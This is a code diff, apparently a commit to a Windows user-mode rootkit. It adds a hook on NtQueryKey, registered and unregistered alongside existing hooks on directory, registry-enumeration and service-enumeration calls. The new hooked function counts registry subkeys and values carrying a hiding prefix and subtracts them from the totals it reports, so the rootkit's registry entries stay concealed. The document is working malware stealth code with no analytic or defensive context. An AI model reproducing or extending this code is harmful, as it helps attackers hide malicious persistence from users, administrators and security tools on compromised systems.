@@ -12,6 +12,7 @@ static NT_NTQUERYSYSTEMINFORMATION OriginalNtQuerySystemInformation;
12
12
static NT_NTRESUMETHREAD OriginalNtResumeThread ;
13
13
static NT_NTQUERYDIRECTORYFILE OriginalNtQueryDirectoryFile ;
14
14
static NT_NTQUERYDIRECTORYFILEEX OriginalNtQueryDirectoryFileEx ;
15
+ static NT_NTQUERYKEY OriginalNtQueryKey ;
15
16
static NT_NTENUMERATEKEY OriginalNtEnumerateKey ;
16
17
static NT_NTENUMERATEVALUEKEY OriginalNtEnumerateValueKey ;
17
18
static NT_ENUMSERVICEGROUPW OriginalEnumServiceGroupW ;
@@ -39,6 +40,7 @@ VOID InitializeHooks()
39
40
InstallHook ("ntdll.dll" , "NtResumeThread" , (LPVOID * )& OriginalNtResumeThread , HookedNtResumeThread );
40
41
InstallHook ("ntdll.dll" , "NtQueryDirectoryFile" , (LPVOID * )& OriginalNtQueryDirectoryFile , HookedNtQueryDirectoryFile );
41
42
InstallHook ("ntdll.dll" , "NtQueryDirectoryFileEx" , (LPVOID * )& OriginalNtQueryDirectoryFileEx , HookedNtQueryDirectoryFileEx );
43
+ InstallHook ("ntdll.dll" , "NtQueryKey" , (LPVOID * )& OriginalNtQueryKey , HookedNtQueryKey );
42
44
InstallHook ("ntdll.dll" , "NtEnumerateKey" , (LPVOID * )& OriginalNtEnumerateKey , HookedNtEnumerateKey );
43
45
InstallHook ("ntdll.dll" , "NtEnumerateValueKey" , (LPVOID * )& OriginalNtEnumerateValueKey , HookedNtEnumerateValueKey );
44
46
InstallHook ("advapi32.dll" , "EnumServiceGroupW" , (LPVOID * )& OriginalEnumServiceGroupW , HookedEnumServiceGroupW );
@@ -73,6 +75,7 @@ VOID UninitializeHooks()
73
75
UninstallHook (OriginalNtResumeThread , HookedNtResumeThread );
74
76
UninstallHook (OriginalNtQueryDirectoryFile , HookedNtQueryDirectoryFile );
75
77
UninstallHook (OriginalNtQueryDirectoryFileEx , HookedNtQueryDirectoryFileEx );
78
+ UninstallHook (OriginalNtQueryKey , HookedNtQueryKey );
76
79
UninstallHook (OriginalNtEnumerateKey , HookedNtEnumerateKey );
77
80
UninstallHook (OriginalNtEnumerateValueKey , HookedNtEnumerateValueKey );
78
81
UninstallHook (OriginalEnumServiceGroupW , HookedEnumServiceGroupW );
@@ -371,6 +374,51 @@ static NTSTATUS NTAPI HookedNtQueryDirectoryFileEx(HANDLE fileHandle, HANDLE eve
371
374
372
375
return status ;
373
376
}
377
+ static NTSTATUS NTAPI HookedNtQueryKey (HANDLE key , NT_KEY_INFORMATION_CLASS keyInformationClass , LPVOID keyInformation , ULONG length , PULONG resultLength )
378
+ {
379
+ NTSTATUS status = OriginalNtQueryKey (key , keyInformationClass , keyInformation , length , resultLength );;
380
+
381
+ if (NT_SUCCESS (status ) && (keyInformationClass == KeyFullInformation || keyInformationClass == KeyCachedInformation ))
382
+ {
383
+ BYTE buffer [1024 ];
384
+ PNT_KEY_BASIC_INFORMATION keyBasicInformation = (PNT_KEY_BASIC_INFORMATION )buffer ;
385
+ PNT_KEY_VALUE_BASIC_INFORMATION keyValueBasicInformation = (PNT_KEY_VALUE_BASIC_INFORMATION )buffer ;
386
+
387
+ // Count number of hidden subkeys and values.
388
+ ULONG hiddenSubKeys = 0 ;
389
+ ULONG hiddenValues = 0 ;
390
+
391
+ for (ULONG i = 0 ; OriginalNtEnumerateKey (key , i , KeyBasicInformation , keyBasicInformation , 1024 , resultLength ) == ERROR_SUCCESS ; i ++ )
392
+ {
393
+ if (HasPrefix (keyBasicInformation -> Name ))
394
+ {
395
+ hiddenSubKeys ++ ;
396
+ }
397
+ }
398
+
399
+ for (ULONG i = 0 ; OriginalNtEnumerateValueKey (key , i , KeyValueBasicInformation , keyValueBasicInformation , 1024 , resultLength ) == ERROR_SUCCESS ; i ++ )
400
+ {
401
+ if (HasPrefix (keyValueBasicInformation -> Name ))
402
+ {
403
+ hiddenValues ++ ;
404
+ }
405
+ }
406
+
407
+ // Subtract count by hidden keys and values.
408
+ if (keyInformationClass == KeyFullInformation )
409
+ {
410
+ ((PNT_KEY_FULL_INFORMATION )keyInformation )-> SubKeys -= hiddenSubKeys ;
411
+ ((PNT_KEY_FULL_INFORMATION )keyInformation )-> Values -= hiddenValues ;
412
+ }
413
+ else if (keyInformationClass == KeyCachedInformation )
414
+ {
415
+ ((PNT_KEY_CACHED_INFORMATION )keyInformation )-> SubKeys -= hiddenSubKeys ;
416
+ ((PNT_KEY_CACHED_INFORMATION )keyInformation )-> Values -= hiddenValues ;
417
+ }
418
+ }
419
+
420
+ return status ;
421
+ }
374
422
static NTSTATUS NTAPI HookedNtEnumerateKey (HANDLE key , ULONG index , NT_KEY_INFORMATION_CLASS keyInformationClass , LPVOID keyInformation , ULONG keyInformationLength , PULONG resultLength )
375
423
{
376
424
if (keyInformationClass == KeyNodeInformation )
0 commit comments